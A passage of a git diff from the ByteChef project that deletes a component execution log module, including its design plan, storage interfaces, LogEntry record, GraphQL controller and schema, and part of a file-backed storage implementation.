-        assertEquals("https://example.com/file.txt", fileEntry.getUrl());
-    }
-
-    @Test
-    void testDeserializeWithNullUrlFieldTreatsAsEmptyString() throws Exception {
-        String json = """
-            {
-                "name": "test.txt",
-                "url": null
-            }
-            """;
-
-        FileEntry fileEntry = objectMapper.readValue(json, FileEntry.class);
-
-        assertNotNull(fileEntry);
-        assertEquals("test.txt", fileEntry.getName());
-        assertEquals("", fileEntry.getUrl());
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-log/PLAN.md b/server/libs/platform/platform-component/platform-component-log/PLAN.md
deleted file mode 100644
index aac4bd673ee..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/PLAN.md
+++ /dev/null
@@ -1,381 +0,0 @@
-# Component Execution Log Storage
-
-## Overview
-
-This module provides structured logging for component execution during workflow runs. Logs are stored per workflow execution (jobId) and can be queried via GraphQL.
-
-## Module Structure
-
-```
-platform-component-log/
-├── platform-component-log-api/           # Interface and domain
-│   └── src/main/java/com/bytechef/platform/component/log/
-│       ├── LogFileStorage.java           # Storage interface
-│       └── domain/
-│           └── LogEntry.java             # Log entry record
-│
-├── platform-component-log-service/       # Implementations
-│   └── src/main/java/com/bytechef/platform/component/log/
-│       ├── LogFileStorageImpl.java       # Persistent storage (FileStorageService)
-│       ├── TempFileLogFileStorage.java   # Temp file storage (editor/test)
-│       └── config/
-│           └── LogFileStorageConfiguration.java  # Spring configuration
-│
-└── platform-component-log-graphql/       # GraphQL API
-    └── src/
-        ├── main/java/com/bytechef/platform/component/log/web/graphql/
-        │   └── LogGraphQlController.java
-        └── main/resources/graphql/
-            └── component-log.graphqls
-```
-
-## Components
-
-### LogEntry (Domain)
-
-A record representing a single log entry:
-
-```java
-public record LogEntry(
-    Instant timestamp,
-    Level level,                    // TRACE, DEBUG, INFO, WARN, ERROR
-    String componentName,
-    @Nullable String componentOperationName,
-    long taskExecutionId,
-    String message,
-    @Nullable String exceptionType,
-    @Nullable String exceptionMessage,
-    @Nullable String stackTrace
-)
-```
-
-### LogFileStorage (Interface)
-
-```java
-public interface LogFileStorage {
-    void storeLogEntry(long jobId, long taskExecutionId, LogEntry logEntry);
-    void storeLogEntries(long jobId, long taskExecutionId, List<LogEntry> logEntries);
-    void flushLogs(long jobId);
-    List<LogEntry> readLogEntries(long jobId, long taskExecutionId);
-    List<LogEntry> readLogEntriesByJobId(long jobId);
-    List<LogEntry> readLogEntriesByJobId(long jobId, LogEntry.Level minLevel);
-    boolean logsExist(long jobId);
-    void deleteLogEntries(long jobId);
-}
-```
-
-### Implementations
-
-#### LogFileStorageImpl (Production)
-
-- Uses `FileStorageService` for persistent storage
-- Directory: `logs/component_execution`
-- File naming: `{jobId}.json`
-- Compresses JSON using `CompressionUtils`
-- Buffers logs in memory during execution, flushes on job completion
-
-#### TempFileLogFileStorage (Editor/Test)
-
-- Creates temp directory: `Files.createTempDirectory("bytechef_logs_")`
-- Each job's logs stored in: `job_{jobId}_{random}.json`
-- Logs buffered and flushed to temp file on each store operation
-- `cleanupJobStorage()` deletes temp files when job completes
-
-### GraphQL API
-
-There are two GraphQL controllers:
-1. **LogGraphQlController** - For production logs stored via `LogFileStorageImpl`
-2. **TempLogGraphQlController** - For editor/test logs stored via `TempFileLogFileStorage`
-
-#### Schema (component-log.graphqls)
-
-```graphql
-enum LogLevel { TRACE, DEBUG, INFO, WARN, ERROR }
-
-type LogEntry {
-    timestamp: String!
-    level: LogLevel!
-    componentName: String!
-    componentOperationName: String
-    taskExecutionId: ID!
-    message: String!
-    exceptionType: String
-    exceptionMessage: String
-    stackTrace: String
-}
-
-type LogPage {
-    content: [LogEntry!]!
-    totalElements: Int!
-    totalPages: Int!
-    pageNumber: Int!
-    pageSize: Int!
-    hasNext: Boolean!
-    hasPrevious: Boolean!
-}
-
-input LogFilterInput {
-    minLevel: LogLevel
-    componentName: String
-    taskExecutionId: ID
-    fromTimestamp: String
-    toTimestamp: String
-    searchText: String
-}
-
-extend type Query {
-    jobLogs(jobId: ID!, filter: LogFilterInput, page: Int, size: Int): LogPage!
-    taskExecutionLogs(jobId: ID!, taskExecutionId: ID!): [LogEntry!]!
-    jobLogsExist(jobId: ID!): Boolean!
-}
-
-extend type Mutation {
-    deleteJobLogs(jobId: ID!): Boolean!
-}
-```
-
-#### Temp Log Schema (temp-component-log.graphqls)
-
-```graphql
-extend type Query {
-    tempJobLogs(jobId: ID!, filter: LogFilterInput, page: Int, size: Int): LogPage!
-    tempTaskExecutionLogs(jobId: ID!, taskExecutionId: ID!): [LogEntry!]!
-    tempJobLogsExist(jobId: ID!): Boolean!
-}
-
-extend type Mutation {
-    deleteTempJobLogs(jobId: ID!): Boolean!
-    cleanupTempJobStorage(jobId: ID!): Boolean!
-}
-```
-
-## Integration
-
-### ContextImpl.LogImpl
-
-Modified to capture logs and store them via `LogFileStorage` while continuing to log via SLF4J:
-
-```java
-private static class LogImpl implements Log {
-    private final String componentName;
-    private final @Nullable String componentOperationName;
-    private final @Nullable Long jobId;
-    private final @Nullable LogFileStorage logFileStorage;
-    private final org.slf4j.Logger logger;
-    private final long taskExecutionId;
-
-    // Each log method (debug, info, warn, error, trace) now also stores to LogFileStorage
-    private void storeLogEntry(LogEntry.Level level, String message, @Nullable Exception exception) {
-        if (logFileStorage != null && jobId != null) {
-            LogEntry.Builder builder = LogEntry.builder()
-                .timestamp(Instant.now())
-                .level(level)
-                .componentName(componentName)
-                .componentOperationName(componentOperationName)
-                .taskExecutionId(taskExecutionId)
-                .message(message);
-
-            if (exception != null) {
-                builder.exception(exception);
-            }
-
-            logFileStorage.storeLogEntry(jobId, taskExecutionId, builder.build());
-        }
-    }
-}
-```
-
-### ContextFactoryImpl
-
-- Injects `LogFileStorage` bean for production
-- Creates `TempFileLogFileStorage` instance for editor environments
-- Passes appropriate storage to `ActionContextImpl`
-
-```java
-private LogFileStorage getLogFileStorage(boolean editorEnvironment) {
-    if (editorEnvironment) {
-        return editorLogFileStorage;  // TempFileLogFileStorage
-    }
-    return logFileStorage;  // LogFileStorageImpl
-}
-```
-
-## JSON Log Format
-
-```json
-[
-  {
-    "timestamp": "2026-01-20T10:30:45.123Z",
-    "level": "INFO",
-    "componentName": "http",
-    "componentOperationName": "get",
-    "taskExecutionId": 12345,
-    "message": "Sending GET request to https://api.example.com"
-  },
-  {
-    "timestamp": "2026-01-20T10:30:46.789Z",
-    "level": "ERROR",
-    "componentName": "slack",
-    "componentOperationName": "sendMessage",
-    "taskExecutionId": 12346,
-    "message": "Failed to send message",
-    "exceptionType": "com.bytechef.component.exception.ProviderException",
-    "exceptionMessage": "Channel not found",
-    "stackTrace": "..."
-  }
-]
-```
-
-## Dependencies
-
-### platform-component-log-api
-
-```kotlin
-dependencies {
-    api(project(":server:libs:core:file-storage:file-storage-api"))
-    implementation("org.jspecify:jspecify")
-}
-```
-
-### platform-component-log-service
-
-```kotlin
-dependencies {
-    api(project(":server:libs:platform:platform-component:platform-component-log:platform-component-log-api"))
-    implementation("org.apache.commons:commons-lang3")
-    implementation("org.slf4j:slf4j-api")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation(project(":server:libs:config:app-config"))
-    implementation(project(":server:libs:core:commons:commons-util"))
-}
-```
-
-### platform-component-log-graphql
-
-```kotlin
-dependencies {
-    implementation("org.apache.commons:commons-lang3")
-    implementation("org.springframework:spring-web")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.springframework.graphql:spring-graphql")
-    implementation(project(":server:libs:atlas:atlas-coordinator:atlas-coordinator-api"))
-    implementation(project(":server:libs:platform:platform-component:platform-component-log:platform-component-log-api"))
-}
-```
-
-## Usage Examples
-
-### Query all logs for a job
-
-```graphql
-query {
-  jobLogs(jobId: "123") {
-    content {
-      timestamp
-      level
-      componentName
-      message
-    }
-    totalElements
-  }
-}
-```
-
-### Query with filtering
-
-```graphql
-query {
-  jobLogs(jobId: "123", filter: { minLevel: WARN, componentName: "http" }, page: 0, size: 50) {
-    content {
-      timestamp
-      level
-      message
-      exceptionMessage
-    }
-    totalElements
-    hasNext
-  }
-}
-```
-
-### Query logs for a specific task
-
-```graphql
-query {
-  taskExecutionLogs(jobId: "123", taskExecutionId: "456") {
-    timestamp
-    level
-    message
-  }
-}
-```
-
-### Delete logs for a job
-
-```graphql
-mutation {
-  deleteJobLogs(jobId: "123")
-}
-```
-
-## Temp Log Usage Examples (Editor/Test)
-
-### Query temp logs for an editor test execution
-
-```graphql
-query {
-  tempJobLogs(jobId: "456") {
-    content {
-      timestamp
-      level
-      componentName
-      message
-    }
-    totalElements
-  }
-}
-```
-
-### Query temp logs for a specific task
-
-```graphql
-query {
-  tempTaskExecutionLogs(jobId: "456", taskExecutionId: "789") {
-    timestamp
-    level
-    message
-  }
-}
-```
-
-### Cleanup temp storage after test
-
-```graphql
-mutation {
-  cleanupTempJobStorage(jobId: "456")
-}
-```
-
-## Files Modified
-
-| File | Change |
-|------|--------|
-| `settings.gradle.kts` | Added 3 new module includes |
-| `ContextImpl.java` | Modified LogImpl to capture and store logs |
-| `ContextFactoryImpl.java` | Injects LogFileStorage and TempFileLogFileStorage |
-| `ActionContextImpl.java` | Updated constructor to pass LogFileStorage to parent |
-| `platform-component-context-service/build.gradle.kts` | Added log module dependencies |
-
-## Files Created
-
-| File | Description |
-|------|-------------|
-| `platform-component-log-api/LogFileStorage.java` | Storage interface |
-| `platform-component-log-api/domain/LogEntry.java` | Log entry record with Level enum |
-| `platform-component-log-service/LogFileStorageImpl.java` | Persistent storage using FileStorageService |
-| `platform-component-log-service/TempFileLogFileStorage.java` | Temp file storage for editor/test environments |
-| `platform-component-log-service/config/LogFileStorageConfiguration.java` | Spring bean configuration |
-| `platform-component-log-graphql/LogGraphQlController.java` | GraphQL controller for production logs |
-| `platform-component-log-graphql/TempLogGraphQlController.java` | GraphQL controller for temp/editor logs |
-| `platform-component-log-graphql/resources/graphql/component-log.graphqls` | GraphQL schema for production logs |
-| `platform-component-log-graphql/resources/graphql/temp-component-log.graphqls` | GraphQL schema for temp logs |
diff --git a/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/build.gradle.kts b/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/build.gradle.kts
deleted file mode 100644
index f7a8f54ab3c..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/build.gradle.kts
+++ /dev/null
@@ -1,5 +0,0 @@
-dependencies {
-    api(project(":server:libs:core:file-storage:file-storage-api"))
-
-    implementation("org.jspecify:jspecify")
-}
diff --git a/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/LogFileStorage.java b/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/LogFileStorage.java
deleted file mode 100644
index 8bb523135ae..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/LogFileStorage.java
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.log;
-
-/**
- * Interface for storing and retrieving component execution logs.
- *
- * @author Ivica Cardic
- */
-public interface LogFileStorage extends LogFileStorageReader, LogFileStorageWriter {
-}
diff --git a/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/LogFileStorageReader.java b/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/LogFileStorageReader.java
deleted file mode 100644
index 6cce18a4678..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/LogFileStorageReader.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.log;
-
-import com.bytechef.platform.component.log.domain.LogEntry;
-import java.util.List;
-
-/**
- * Interface for reading log entries from a log file storage system. Provides methods to retrieve logs for specific task
- * executions, entire jobs, and to check the existence of logs for a job.
- *
- * @author Ivica Cardic
- */
-public interface LogFileStorageReader {
-
-    /**
-     * Reads all log entries for a specific task execution.
-     *
-     * @param jobId           the job ID
-     * @param taskExecutionId the task execution ID
-     * @return list of log entries for the task execution
-     */
-    List<LogEntry> readLogEntries(long jobId, long taskExecutionId);
-
-    /**
-     * Reads all log entries for an entire job (workflow execution).
-     *
-     * @param jobId the job ID
-     * @return list of all log entries for the job
-     */
-    List<LogEntry> readLogEntriesByJobId(long jobId);
-
-    /**
-     * Checks if logs exist for a specific job.
-     *
-     * @param jobId the job ID
-     * @return true if logs exist, false otherwise
-     */
-    boolean logsExist(long jobId);
-}
diff --git a/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/LogFileStorageWriter.java b/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/LogFileStorageWriter.java
deleted file mode 100644
index 43c6f65eace..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/LogFileStorageWriter.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.log;
-
-import com.bytechef.platform.component.log.domain.LogEntry;
-
-/**
- * Interface for writing and managing storage of log entries associated with task executions. Provides methods to store
- * log records for specific task executions and to delete all logs related to a specific job for cleanup purposes.
- *
- * @author Ivica Cardic
- */
-public interface LogFileStorageWriter {
-
-    /**
-     * Stores a log entry for a specific task execution.
-     *
-     * @param jobId           the job ID
-     * @param taskExecutionId the task execution ID
-     * @param logEntry        the log entry to store
-     */
-    void storeLogEntry(long jobId, long taskExecutionId, LogEntry logEntry);
-
-    /**
-     * Deletes logs for a job (cleanup).
-     *
-     * @param jobId the job ID
-     */
-    void deleteLogEntries(long jobId);
-}
diff --git a/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/domain/LogEntry.java b/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/domain/LogEntry.java
deleted file mode 100644
index b8e2b8b47b2..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/platform-component-log-api/src/main/java/com/bytechef/platform/component/log/domain/LogEntry.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.log.domain;
-
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.PrintWriter;
-import java.io.StringWriter;
-import java.time.Instant;
-import org.jspecify.annotations.Nullable;
-
-/**
- * Represents a single log entry from component execution.
- *
- * @author Ivica Cardic
- */
-public record LogEntry(
-    Instant timestamp,
-    Level level,
-    String componentName,
-    @Nullable String componentOperationName,
-    long taskExecutionId,
-    String message,
-    @Nullable String exceptionType,
-    @Nullable String exceptionMessage,
-    @Nullable String stackTrace) {
-
-    public enum Level {
-        TRACE(0),
-        DEBUG(1),
-        INFO(2),
-        WARN(3),
-        ERROR(4);
-
-        private final int priority;
-
-        Level(int priority) {
-            this.priority = priority;
-        }
-
-        public int getPriority() {
-            return priority;
-        }
-
-        public boolean isAtLeast(Level other) {
-            return this.priority >= other.priority;
-        }
-    }
-
-    public LogEntry {
-        if (timestamp == null) {
-            timestamp = Instant.now();
-        }
-    }
-
-    public static Builder builder() {
-        return new Builder();
-    }
-
-    public static class Builder {
-
-        private Instant timestamp;
-        private Level level;
-        private String componentName;
-        private String componentOperationName;
-        private long taskExecutionId;
-        private String message;
-        private String exceptionType;
-        private String exceptionMessage;
-        private String stackTrace;
-
-        public Builder timestamp(Instant timestamp) {
-            this.timestamp = timestamp;
-
-            return this;
-        }
-
-        public Builder level(Level level) {
-            this.level = level;
-
-            return this;
-        }
-
-        public Builder componentName(String componentName) {
-            this.componentName = componentName;
-
-            return this;
-        }
-
-        public Builder componentOperationName(String componentOperationName) {
-            this.componentOperationName = componentOperationName;
-
-            return this;
-        }
-
-        public Builder taskExecutionId(long taskExecutionId) {
-            this.taskExecutionId = taskExecutionId;
-
-            return this;
-        }
-
-        public Builder message(String message) {
-            this.message = message;
-
-            return this;
-        }
-
-        public Builder exception(Exception exception) {
-            if (exception != null) {
-                this.exceptionType = exception.getClass()
-                    .getName();
-                this.exceptionMessage = exception.getMessage();
-                this.stackTrace = getStackTraceAsString(exception);
-            }
-
-            return this;
-        }
-
-        public LogEntry build() {
-            return new LogEntry(
-                timestamp, level, componentName, componentOperationName,
-                taskExecutionId, message, exceptionType, exceptionMessage, stackTrace);
-        }
-
-        @SuppressFBWarnings("INFORMATION_EXPOSURE_THROUGH_AN_ERROR_MESSAGE")
-        private static String getStackTraceAsString(Exception exception) {
-            StringWriter stringWriter = new StringWriter();
-
-            exception.printStackTrace(new PrintWriter(stringWriter));
-
-            return stringWriter.toString();
-        }
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-log/platform-component-log-graphql/build.gradle.kts b/server/libs/platform/platform-component/platform-component-log/platform-component-log-graphql/build.gradle.kts
deleted file mode 100644
index d92767482ce..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/platform-component-log-graphql/build.gradle.kts
+++ /dev/null
@@ -1,13 +0,0 @@
-dependencies {
-    implementation("org.apache.commons:commons-lang3")
-    implementation("org.springframework:spring-web")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.springframework.graphql:spring-graphql")
-    implementation(project(":server:libs:atlas:atlas-coordinator:atlas-coordinator-api"))
-    implementation(project(":server:libs:platform:platform-component:platform-component-log:platform-component-log-api"))
-
-    testImplementation("org.springframework:spring-webflux")
-    testImplementation("org.springframework.boot:spring-boot-starter-webmvc-test")
-    testImplementation("org.springframework.boot:spring-boot-starter-graphql-test")
-    testImplementation(project(":server:libs:test:test-int-support"))
-}
diff --git a/server/libs/platform/platform-component/platform-component-log/platform-component-log-graphql/src/main/java/com/bytechef/platform/component/log/web/graphql/LogFileGraphQlController.java b/server/libs/platform/platform-component/platform-component-log/platform-component-log-graphql/src/main/java/com/bytechef/platform/component/log/web/graphql/LogFileGraphQlController.java
deleted file mode 100644
index 95b27cb6ad9..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/platform-component-log-graphql/src/main/java/com/bytechef/platform/component/log/web/graphql/LogFileGraphQlController.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.log.web.graphql;
-
-import com.bytechef.atlas.coordinator.annotation.ConditionalOnCoordinator;
-import com.bytechef.platform.component.log.LogFileStorage;
-import com.bytechef.platform.component.log.domain.LogEntry;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.time.Instant;
-import java.util.Comparator;
-import java.util.List;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * GraphQL controller for querying and managing component execution logs.
- *
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnCoordinator
-public class LogFileGraphQlController {
-
-    private final LogFileStorage logFileStorage;
-
-    @SuppressFBWarnings("EI")
-    public LogFileGraphQlController(LogFileStorage logFileStorage) {
-        this.logFileStorage = logFileStorage;
-    }
-
-    @QueryMapping
-    public LogPage jobFileLogs(
-        @Argument long jobId,
-        @Argument LogFilterInput filter,
-        @Argument Integer page,
-        @Argument Integer size) {
-
-        List<LogEntry> allEntries = logFileStorage.readLogEntriesByJobId(jobId);
-
-        List<LogEntry> filteredEntries = applyFilters(allEntries, filter);
-
-        filteredEntries = filteredEntries.stream()
-            .sorted(Comparator.comparing(LogEntry::timestamp))
-            .toList();
-
-        int pageNumber = page != null ? page : 0;
-        int pageSize = size != null ? size : 100;
-        int start = pageNumber * pageSize;
-        int end = Math.min(start + pageSize, filteredEntries.size());
-
-        List<LogEntry> pageContent = start < filteredEntries.size()
-            ? filteredEntries.subList(start, end)
-            : List.of();
-
-        int totalPages = (int) Math.ceil((double) filteredEntries.size() / pageSize);
-
-        return new LogPage(
-            pageContent,
-            filteredEntries.size(),
-            totalPages,
-            pageNumber,
-            pageSize,
-            end < filteredEntries.size(),
-            pageNumber > 0);
-    }
-
-    @QueryMapping
-    public List<LogEntry> taskExecutionFileLogs(@Argument long jobId, @Argument long taskExecutionId) {
-        return logFileStorage.readLogEntries(jobId, taskExecutionId);
-    }
-
-    @QueryMapping
-    public boolean jobFileLogsExist(@Argument long jobId) {
-        return logFileStorage.logsExist(jobId);
-    }
-
-    @MutationMapping
-    public boolean deleteJobFileLogs(@Argument long jobId) {
-        logFileStorage.deleteLogEntries(jobId);
-
-        return true;
-    }
-
-    private List<LogEntry> applyFilters(List<LogEntry> entries, LogFilterInput filter) {
-        if (filter == null) {
-            return entries;
-        }
-
-        return entries.stream()
-            .filter(entry -> filter.minLevel() == null ||
-                entry.level()
-                    .isAtLeast(filter.minLevel()))
-            .filter(entry -> filter.componentName() == null ||
-                entry.componentName()
-                    .equals(filter.componentName()))
-            .filter(entry -> filter.taskExecutionId() == null ||
-                entry.taskExecutionId() == filter.taskExecutionId())
-            .filter(entry -> filter.fromTimestamp() == null ||
-                !entry.timestamp()
-                    .isBefore(Instant.parse(filter.fromTimestamp())))
-            .filter(entry -> filter.toTimestamp() == null ||
-                !entry.timestamp()
-                    .isAfter(Instant.parse(filter.toTimestamp())))
-            .filter(entry -> filter.searchText() == null ||
-                entry.message()
-                    .toLowerCase()
-                    .contains(filter.searchText()
-                        .toLowerCase()))
-            .toList();
-    }
-
-    public record LogFilterInput(
-        LogEntry.Level minLevel,
-        String componentName,
-        Long taskExecutionId,
-        String fromTimestamp,
-        String toTimestamp,
-        String searchText) {
-    }
-
-    @SuppressFBWarnings("EI")
-    public record LogPage(
-        List<LogEntry> content,
-        int totalElements,
-        int totalPages,
-        int pageNumber,
-        int pageSize,
-        boolean hasNext,
-        boolean hasPrevious) {
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-log/platform-component-log-graphql/src/main/resources/graphql/component-log-file.graphqls b/server/libs/platform/platform-component/platform-component-log/platform-component-log-graphql/src/main/resources/graphql/component-log-file.graphqls
deleted file mode 100644
index 6be322e7295..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/platform-component-log-graphql/src/main/resources/graphql/component-log-file.graphqls
+++ /dev/null
@@ -1,48 +0,0 @@
-extend type Query {
-    jobFileLogs(jobId: ID!, filter: LogFilterInput, page: Int, size: Int): LogPage!
-    taskExecutionFileLogs(jobId: ID!, taskExecutionId: ID!): [LogEntry!]!
-    jobFileLogsExist(jobId: ID!): Boolean!
-}
-
-extend type Mutation {
-    deleteJobFileLogs(jobId: ID!): Boolean!
-}
-
-enum LogLevel {
-    TRACE
-    DEBUG
-    INFO
-    WARN
-    ERROR
-}
-
-type LogEntry {
-    timestamp: String!
-    level: LogLevel!
-    componentName: String!
-    componentOperationName: String
-    taskExecutionId: ID!
-    message: String!
-    exceptionType: String
-    exceptionMessage: String
-    stackTrace: String
-}
-
-type LogPage {
-    content: [LogEntry!]!
-    totalElements: Int!
-    totalPages: Int!
-    pageNumber: Int!
-    pageSize: Int!
-    hasNext: Boolean!
-    hasPrevious: Boolean!
-}
-
-input LogFilterInput {
-    minLevel: LogLevel
-    componentName: String
-    taskExecutionId: ID
-    fromTimestamp: String
-    toTimestamp: String
-    searchText: String
-}
diff --git a/server/libs/platform/platform-component/platform-component-log/platform-component-log-service/build.gradle.kts b/server/libs/platform/platform-component/platform-component-log/platform-component-log-service/build.gradle.kts
deleted file mode 100644
index edab9d5de33..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/platform-component-log-service/build.gradle.kts
+++ /dev/null
@@ -1,10 +0,0 @@
-dependencies {
-    api(project(":server:libs:platform:platform-component:platform-component-log:platform-component-log-api"))
-
-    implementation("com.github.ben-manes.caffeine:caffeine")
-    implementation("org.apache.commons:commons-lang3")
-    implementation("org.slf4j:slf4j-api")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation(project(":server:libs:config:app-config"))
-    implementation(project(":server:libs:core:commons:commons-util"))
-}
diff --git a/server/libs/platform/platform-component/platform-component-log/platform-component-log-service/src/main/java/com/bytechef/platform/component/log/LogFileStorageImpl.java b/server/libs/platform/platform-component/platform-component-log/platform-component-log-service/src/main/java/com/bytechef/platform/component/log/LogFileStorageImpl.java
deleted file mode 100644
index 507deb48bcb..00000000000
--- a/server/libs/platform/platform-component/platform-component-log/platform-component-log-service/src/main/java/com/bytechef/platform/component/log/LogFileStorageImpl.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.component.log;
-
-import com.bytechef.commons.util.JsonUtils;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.file.storage.service.FileStorageService;
-import com.bytechef.platform.component.log.domain.LogEntry;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.nio.charset.StandardCharsets;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import tools.jackson.core.type.TypeReference;
-
-/**
- * Persistent implementation of LogFileStorage that stores logs using FileStorageService. Uses JSONL (JSON Lines) format
- * for efficient appending. Writes are performed asynchronously using virtual threads.
- *
- * @author Ivica Cardic
- */
-public class LogFileStorageImpl implements LogFileStorage {
-
-    private static final String LOG_FILES_DIR = "logs/component_execution";
-
-    private final ExecutorService asyncExecutor = Executors.newVirtualThreadPerTaskExecutor();
-    private final FileStorageService fileStorageService;
-
-    @SuppressFBWarnings("EI")
-    public LogFileStorageImpl(FileStorageService fileStorageService) {
-        this.fileStorageService = fileStorageService;
-    }
-
-    @Override
-    public void storeLogEntry(long jobId, long taskExecutionId, LogEntry logEntry) {
-        asyncExecutor.submit(() -> appendLogEntry(jobId, logEntry));
-    }
-
-    @Override
-    public List<LogEntry> readLogEntries(long jobId, long taskExecutionId) {
-        List<LogEntry> allEntries = readLogEntriesByJobId(jobId);
-
-        return allEntries.stream()
-            .filter(entry -> entry.taskExecutionId() == taskExecutionId)
-            .toList();
-    }
-
-    @Override
-    public List<LogEntry> readLogEntriesByJobId(long jobId) {
-        String filename = jobId + ".jsonl";
-
-        if (!fileStorageService.fileExists(LOG_FILES_DIR, filename)) {
-            return List.of();
-        }
-
-        FileEntry fileEntry = fileStorageService.getFileEntry(LOG_FILES_DIR, filename);
-        String content =
-            new String(fileStorageService.readFileToBytes(LOG_FILES_DIR, fileEntry), StandardCharsets.UTF_8);
-
-        return parseJsonLines(content);
-    }
-
-    @Override
-    public boolean logsExist(long jobId) {
-        return fileStorageService.fileExists(LOG_FILES_DIR, jobId + ".jsonl");
-    }
-
-    @Override
-    public void deleteLogEntries(long jobId) {
-        String filename = jobId + ".jsonl";
-
-        if (fileStorageService.fileExists(LOG_FILES_DIR, filename)) {
-            FileEntry fileEntry = fileStorageService.getFileEntry(LOG_FILES_DIR, filename);
-
-            fileStorageService.deleteFile(LOG_FILES_DIR, fileEntry);
-        }
-    }
-
-    private synchronized void appendLogEntry(long jobId, LogEntry logEntry) {
-        String filename = jobId + ".jsonl";
